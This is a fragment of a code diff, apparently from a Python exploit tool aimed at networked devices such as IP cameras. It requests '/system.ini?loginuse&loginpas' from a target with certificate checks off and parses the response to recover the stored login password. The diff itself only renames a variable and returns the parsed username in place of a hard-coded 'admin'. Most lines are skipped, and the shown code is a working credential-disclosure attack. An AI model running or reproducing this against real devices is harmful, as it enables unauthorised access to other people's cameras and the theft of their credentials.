| skipped 34 lines |
35 | 35 | | |
36 | 36 | | try: |
37 | 37 | | response = requests.get( |
38 | | - | f"http://{host}/system.ini?loginuse&loginpas", |
| 38 | + | f"http://{address}/system.ini?loginuse&loginpas", |
39 | 39 | | verify=False, |
40 | 40 | | timeout=3 |
41 | 41 | | ) |
| skipped 7 lines |
49 | 49 | | username_index = strings.index(username) |
50 | 50 | | password = strings[username_index + 1] |
51 | 51 | | |
52 | | - | return 'admin', password |
| 52 | + | return username, password |
53 | 53 | | |